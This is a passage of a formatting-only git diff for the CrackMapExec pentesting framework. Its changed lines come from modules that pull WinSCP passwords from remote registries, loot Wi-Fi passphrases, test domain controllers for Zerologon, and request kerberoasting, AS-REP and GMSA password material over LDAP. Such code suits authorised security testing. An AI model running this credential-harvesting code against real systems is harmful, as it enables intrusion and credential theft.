{searchFilter} as search filter") # Get attributes of provided user r = connection.ldapConnection.search( @@ -72,9 +68,7 @@ class CMEModule: for group in response["vals"]: context.log.highlight(f"Member of: {group}") elif "servicePrincipalName" in str(response["type"]): - context.log.highlight( - f"Service Account Name(s) found - Potentially Kerberoastable user!" - ) + context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!") for spn in response["vals"]: context.log.highlight(f"Service Account Name: {spn}") else: diff --git a/cme/modules/winscp_dump.py b/cme/modules/winscp_dump.py index 65e14540..99fd89a9 100644 --- a/cme/modules/winscp_dump.py +++ b/cme/modules/winscp_dump.py @@ -70,14 +70,11 @@ class CMEModule: ans = rrp.hBaseRegOpenKey( remoteOps._RemoteOperations__rrp, regHandle, - "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" - + userObject, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject, ) keyHandle = ans["phkResult"] - userProfilePath = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath" - )[1].split("\x00")[:-1][0] + userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) self.userDict[userObject] = userProfilePath.split("\\")[-1] finally: @@ -144,24 +141,14 @@ class CMEModule: ans = rrp.hBaseRegOpenKey( remoteOps._RemoteOperations__rrp, regHandle, - userObject - + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" - + sessionName, + userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName, ) keyHandle = ans["phkResult"] - hostName = unquote( - rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "HostName" - )[1].split("\x00")[:-1][0] - ) - userName = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "UserName" - )[1].split("\x00")[:-1][0] + hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0]) + userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0] try: - password = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "Password" - )[1].split("\x00")[:-1][0] + password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0] except: context.log.debug("Session found but no Password is stored!") password = "" @@ -203,11 +190,7 @@ class CMEModule: # Get User Names userNames = [] for i in range(users): - userNames.append( - rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)[ - "lpNameOut" - ].split("\x00")[:-1][0] - ) + userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0]) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) # Filter legit users in regex @@ -247,11 +230,7 @@ class CMEModule: # Get User Names for i in range(users): - userObjects.append( - rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)[ - "lpNameOut" - ].split("\x00")[:-1][0] - ) + userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0]) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) except: context.log.fail("Error handling Users in registry") @@ -276,23 +255,18 @@ class CMEModule: ans = rrp.hBaseRegOpenKey( remoteOps._RemoteOperations__rrp, regHandle, - "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" - + userObject, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject, ) keyHandle = ans["phkResult"] - userProfilePath = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath" - )[1].split("\x00")[:-1][0] + userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) # Load Profile ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, regHandle, "" - ) + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "") keyHandle = ans["phkResult"] context.log.debug("LOAD USER INTO REGISTRY: " + userObject) @@ -324,9 +298,7 @@ class CMEModule: for userObject in unloadedUserObjects: context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject) try: - rrp.hBaseRegUnLoadKey( - remoteOps._RemoteOperations__rrp, keyHandle, userObject - ) + rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject) except: traceback.print_exc() rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) @@ -344,14 +316,11 @@ class CMEModule: ans = rrp.hBaseRegOpenKey( remoteOps._RemoteOperations__rrp, regHandle, - userObject - + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security", + userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security", ) keyHandle = ans["phkResult"] - useMasterPassword = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword" - )[1] + useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1] rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) finally: remoteOps.finish() @@ -369,9 +338,7 @@ class CMEModule: self.userObjectToNameMapper(context, connection, allUserObjects) # Users which must be loaded into registry: - unloadedUserObjects = list( - set(userObjects).symmetric_difference(set(allUserObjects)) - ) + unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects))) self.loadMissingUsers(context, connection, unloadedUserObjects) # Retrieve how many sessions are stored in registry from each UserObject @@ -386,24 +353,14 @@ class CMEModule: ) keyHandle = ans["phkResult"] - data = rrp.hBaseRegQueryInfoKey( - remoteOps._RemoteOperations__rrp, keyHandle - ) + data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle) sessions = data["lpcSubKeys"] - context.log.success( - 'Found {} sessions for user "{}" in registry!'.format( - sessions - 1, self.userDict[userObject] - ) - ) + context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject])) # Get Session Names sessionNames = [] for i in range(sessions): - sessionNames.append( - rrp.hBaseRegEnumKey( - remoteOps._RemoteOperations__rrp, keyHandle, i - )["lpNameOut"].split("\x00")[:-1][0] - ) + sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0]) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) sessionNames.remove("Default%20Settings") @@ -414,17 +371,11 @@ class CMEModule: for sessionName in sessionNames: self.printCreds( context, - self.registrySessionExtractor( - context, connection, userObject, sessionName - ), + self.registrySessionExtractor(context, connection, userObject, sessionName), ) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): - context.log.debug( - "No WinSCP config found in registry for user {}".format( - userObject - ) - ) + context.log.debug("No WinSCP config found in registry for user {}".format(userObject)) except Exception: context.log.fail("Unexpected error:") traceback.print_exc() @@ -432,9 +383,7 @@ class CMEModule: except DCERPCException as e: # Error during registry query if str(e).find("rpc_s_access_denied"): - context.log.fail( - "Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry." - ) + context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.") except: context.log.fail("UNEXPECTED ERROR:") traceback.print_exc() @@ -475,17 +424,11 @@ class CMEModule: context.log.success("Found config file! Extracting credentials...") self.decodeConfigFile(context, confFile) except: - context.log.fail( - "Error! No config file found at {}".format(self.filepath) - ) + context.log.fail("Error! No config file found at {}".format(self.filepath)) traceback.print_exc() else: - context.log.display( - "Looking for WinSCP creds in User documents and AppData..." - ) - output = connection.execute( - 'powershell.exe "Get-LocalUser | Select name"', True - ) + context.log.display("Looking for WinSCP creds in User documents and AppData...") + output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True) users = [] for row in output.split("\r\n"): users.append(row.strip()) @@ -503,15 +446,9 @@ class CMEModule: buf = BytesIO() connection.conn.getFile(self.share, path, buf.write) confFile = buf.getvalue().decode() - context.log.success( - 'Found config file at "{}"! Extracting credentials...'.format( - self.share + path - ) - ) + context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path)) except: - context.log.debug( - 'No config file found at "{}"'.format(self.share + path) - ) + context.log.debug('No config file found at "{}"'.format(self.share + path)) if confFile: self.decodeConfigFile(context, confFile) diff --git a/cme/modules/wireless.py b/cme/modules/wireless.py index 290787d3..088d00d0 100644 --- a/cme/modules/wireless.py +++ b/cme/modules/wireless.py @@ -63,11 +63,7 @@ class CMEModule: context.log.fail("No masterkeys looted") return - context.log.success( - "Got {} decrypted masterkeys. Looting Wifi interfaces".format( - highlight(len(masterkeys)) - ) - ) + context.log.success("Got {} decrypted masterkeys. Looting Wifi interfaces".format(highlight(len(masterkeys)))) try: # Collect Chrome Based Browser stored secrets @@ -89,11 +85,6 @@ class CMEModule: ) ) except: - context.log.highlight( - "[%s] %s - Passphrase: %s" - % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password) - ) + context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password)) else: - context.log.highlight( - "[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type) - ) + context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type)) diff --git a/cme/modules/zerologon.py b/cme/modules/zerologon.py index 12e23ab9..527f8f05 100644 --- a/cme/modules/zerologon.py +++ b/cme/modules/zerologon.py @@ -14,9 +14,7 @@ MAX_ATTEMPTS = 2000 # False negative chance: 0.04% class CMEModule: name = "zerologon" - description = ( - "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472" - ) + description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False @@ -30,13 +28,9 @@ class CMEModule: def on_login(self, context, connection): self.context = context - if self.perform_attack( - "\\\\" + connection.hostname, connection.host, connection.hostname - ): + if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname): self.context.log.highlight("VULNERABLE") - self.context.log.highlight( - "Next step: https://github.com/dirkjanm/CVE-2020-1472" - ) + self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472") try: host = self.context.db.get_hosts(connection.host)[0] self.context.db.add_host( @@ -61,18 +55,13 @@ class CMEModule: rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) for attempt in range(0, MAX_ATTEMPTS): - result = try_zero_authenticate( - rpc_con, dc_handle, dc_ip, target_computer - ) + result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer) if result: return True else: self.context.log.debug("\nAttack failed. Target is probably patched.") except DCERPCException as e: - self.context.log.fail( - f"Error while connecting to host: DCERPCException, " - f"which means this is probably not a DC!" - ) + self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!") def fail(msg): @@ -95,9 +84,7 @@ def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer): flags = 0x212FFFFF # Send challenge and authentication request. - nrpc.hNetrServerReqChallenge( - rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext - ) + nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, diff --git a/cme/parsers/ip.py b/cme/parsers/ip.py index 48ed14e9..9a1371e9 100755 --- a/cme/parsers/ip.py +++ b/cme/parsers/ip.py @@ -19,10 +19,7 @@ def parse_targets(target): for ip in ip_range: yield str(ip) else: - if ( - ip_interface(target).ip.version == 6 - and ip_address(target).is_link_local - ): + if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local: yield str(target) else: for ip in ip_network(target, strict=False): diff --git a/cme/parsers/nmap.py b/cme/parsers/nmap.py index 178a41d8..b7abb033 100644 --- a/cme/parsers/nmap.py +++ b/cme/parsers/nmap.py @@ -29,9 +29,7 @@ def parse_nmap_xml(nmap_output_file, protocol): ip = host["address"][0]["@addr"] for port in host["ports"]["port"]: if port["state"]["@state"] == "open": - if "service" in port and ( - port["service"]["@name"] in protocol_dict[protocol]["services"] - ): + if "service" in port and (port["service"]["@name"] in protocol_dict[protocol]["services"]): if ip not in targets: targets.append(ip) elif port["@portid"] in protocol_dict[protocol]["ports"]: diff --git a/cme/paths.py b/cme/paths.py index 23d17dd0..0642994b 100644 --- a/cme/paths.py +++ b/cme/paths.py @@ -7,9 +7,7 @@ TMP_PATH = os.path.join("/tmp", "cme_hosted") if os.name == "nt": TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\cme_hosted" if hasattr(sys, "getandroidapilevel"): - TMP_PATH = os.path.join( - "/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted" - ) + TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted") WS_PATH = os.path.join(CME_PATH, "workspaces") CERT_PATH = os.path.join(CME_PATH, "cme.pem") CONFIG_PATH = os.path.join(CME_PATH, "cme.conf") diff --git a/cme/protocols/ftp.py b/cme/protocols/ftp.py index 9cfd8bc2..9ff36dbf 100644 --- a/cme/protocols/ftp.py +++ b/cme/protocols/ftp.py @@ -9,17 +9,13 @@ from ftplib import FTP, error_reply, error_temp, error_perm, error_proto class ftp(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - ftp_parser = parser.add_parser( - "ftp", help="own stuff using FTP", parents=[std_parser, module_parser] - ) + ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser]) ftp_parser.add_argument( "--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2", ) - ftp_parser.add_argument( - "--port", type=int, default=21, help="FTP port (default: 21)" - ) + ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)") ftp_parser.add_argument( "--continue-on-success", action="store_true", diff --git a/cme/protocols/ftp/database.py b/cme/protocols/ftp/database.py index cacb6666..abd8cf3c 100644 --- a/cme/protocols/ftp/database.py +++ b/cme/protocols/ftp/database.py @@ -47,19 +47,10 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table( - "credentials", self.metadata, autoload_with=self.db_engine - ) - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) + self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): diff --git a/cme/protocols/ftp/db_navigator.py b/cme/protocols/ftp/db_navigator.py index b1afbf92..36777af1 100644 --- a/cme/protocols/ftp/db_navigator.py +++ b/cme/protocols/ftp/db_navigator.py @@ -6,12 +6,7 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index 18b2ab15..4cd20007 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -139,9 +139,7 @@ def get_conditional_action(baseAction): def __call__(self, parser, namespace, values, option_string=None): for x in self.make_required: x.required = True - super(ConditionalAction, self).__call__( - parser, namespace, values, option_string - ) + super(ConditionalAction, self).__call__(parser, namespace, values, option_string) return ConditionalAction @@ -171,9 +169,7 @@ class ldap(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - ldap_parser = parser.add_parser( - "ldap", help="own stuff using LDAP", parents=[std_parser, module_parser] - ) + ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser]) ldap_parser.add_argument( "-H", "--hash", @@ -223,15 +219,9 @@ class ldap(connection): ) no_smb_arg.make_required = [domain_arg] - egroup = ldap_parser.add_argument_group( - "Retrevie hash on the remote DC", "Options to get hashes from Kerberos" - ) - egroup.add_argument( - "--asreproast", help="Get AS_REP response ready to crack with hashcat" - ) - egroup.add_argument( - "--kerberoasting", help="Get TGS ticket ready to crack with hashcat" - ) + egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") + egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") + egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat") vgroup = ldap_parser.add_argument_group( "Retrieve useful information on the domain", @@ -252,34 +242,20 @@ class ldap(connection): action="store_true", help="Get objets that had the value adminCount=1", ) - vgroup.add_argument( - "--users", action="store_true", help="Enumerate enabled domain users" - ) - vgroup.add_argument( - "--groups", action="store_true", help="Enumerate domain groups" - ) + vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users") + vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") - ggroup = ldap_parser.add_argument_group( - "Retrevie gmsa on the remote DC", "Options to play with gmsa" - ) - ggroup.add_argument( - "--gmsa", action="store_true", help="Enumerate GMSA passwords" - ) + ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa") + ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords") ggroup.add_argument( "--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided", ) - ggroup.add_argument( - "--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA" - ) + ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") - bgroup = ldap_parser.add_argument_group( - "Bloodhound scan", "Options to play with bloodhoud" - ) - bgroup.add_argument( - "--bloodhound", action="store_true", help="Perform bloodhound scan" - ) + bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud") + bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan") bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP") bgroup.add_argument( "-c", @@ -313,9 +289,7 @@ class ldap(connection): if proto == "ldaps": self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}") # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority - self.logger.debug( - f"Even if the port is open, LDAPS may not be configured" - ) + self.logger.debug(f"Even if the port is open, LDAPS may not be configured") else: self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}") return [None, None, None] @@ -348,9 +322,7 @@ class ldap(connection): self.logger.info(f"Skipping item, cannot process due to error {e}") except OSError as e: return [None, None, None] - self.logger.debug( - f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}" - ) + self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") return [target, target_domain, base_dn] def get_os_arch(self): @@ -389,9 +361,7 @@ class ldap(connection): if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): response_value = search_result["responseValue"] if response_value.hasValue(): - value = response_value.asOctets().decode(response_value.encoding)[ - 2: - ] + value = response_value.asOctets().decode(response_value.encoding)[2:] return value.split("\\")[1] return "" @@ -417,11 +387,7 @@ class ldap(connection): self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() - self.signing = ( - self.conn.isSigningRequired() - if self.smbv1 - else self.conn._SMBConnection._Connection["RequireSigning"] - ) + self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] self.os_arch = self.get_os_arch() if not self.domain: @@ -440,9 +406,7 @@ class ldap(connection): # Re-connect since we logged off self.create_conn_obj() - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") def print_host_info(self): @@ -455,9 +419,7 @@ class ldap(connection): else: self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP" self.logger.extra["port"] = "445" if not self.no_ntlm else "389" - self.logger.display( - f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})" - ) + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})") self.logger.extra["protocol"] = "LDAP" # self.logger.display(self.endpoint) return True @@ -529,17 +491,13 @@ class ldap(connection): self.check_if_admin() - used_ccache = ( - " from ccache" if useCache else f":{process_secret(kerb_pass)}" - ) + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}" # out = f"{domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = ( - "636" if (self.args.gmsa or self.args.port == 636) else "389" - ) + self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: @@ -555,9 +513,7 @@ class ldap(connection): return False except SessionError as e: error, desc = e.getErrorString() - used_ccache = ( - " from ccache" if useCache else f":{process_secret(kerb_pass)}" - ) + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{self.domain}\\{self.username}{used_ccache} {str(error)}", color="magenta" if error in ldap_error_status else "red", @@ -576,9 +532,7 @@ class ldap(connection): # Connect to LDAPS ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]") - self.ldapConnection = ldap_impacket.LDAPConnection( - ldaps_url, self.baseDN - ) + self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.kerberosLogin( username, password, @@ -603,9 +557,7 @@ class ldap(connection): self.logger.success(out) if not self.args.local_auth: - add_user_bh( - self.username, self.domain, self.logger, self.config - ) + add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: @@ -649,18 +601,14 @@ class ldap(connection): ldap_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]") self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN) - self.ldapConnection.login( - self.username, self.password, self.domain, self.lmhash, self.nthash - ) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = ( - "636" if (self.args.gmsa or self.args.port == 636) else "389" - ) + self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: @@ -674,9 +622,7 @@ class ldap(connection): # Connect to LDAPS ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]") - self.ldapConnection = ldap_impacket.LDAPConnection( - ldaps_url, self.baseDN - ) + self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.login( self.username, self.password, @@ -693,32 +639,24 @@ class ldap(connection): self.logger.success(out) if not self.args.local_auth: - add_user_bh( - self.username, self.domain, self.logger, self.config - ) + add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color="magenta" - if (error_code in ldap_error_status and error_code != 1) - else "red", + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color="magenta" - if (error_code in ldap_error_status and error_code != 1) - else "red", + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def hash_login(self, domain, username, ntlm_hash): @@ -756,17 +694,13 @@ class ldap(connection): ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) - self.ldapConnection.login( - self.username, self.password, self.domain, self.lmhash, self.nthash - ) + self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = ( - "636" if (self.args.gmsa or self.args.port == 636) else "389" - ) + self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: @@ -779,9 +713,7 @@ class ldap(connection): # We need to try SSL ldaps_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}") - self.ldapConnection = ldap_impacket.LDAPConnection( - ldaps_url, self.baseDN - ) + self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.login( self.username, self.password, @@ -798,40 +730,30 @@ class ldap(connection): self.logger.success(out) if not self.args.local_auth: - add_user_bh( - self.username, self.domain, self.logger, self.config - ) + add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color="magenta" - if (error_code in ldap_error_status and error_code != 1) - else "red", + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color="magenta" - if (error_code in ldap_error_status and error_code != 1) - else "red", + color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}" - ) + self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def create_smbv1_conn(self): self.logger.debug(f"Creating smbv1 connection object") try: - self.conn = SMBConnection( - self.host, self.host, None, 445, preferredDialect=SMB_DIALECT - ) + self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) self.smbv1 = True if self.conn: self.logger.debug(f"SMBv1 Connection successful") @@ -885,19 +807,8 @@ class ldap(connection): identifier_authority = hex(identifier_authority) # loop over the count of small endians - sub_authority = "-" + "-".join( - [ - str( - int.from_bytes( - sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little" - ) - ) - for i in range(sub_authorities) - ] - ) - object_sid = ( - "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority - ) + sub_authority = "-" + 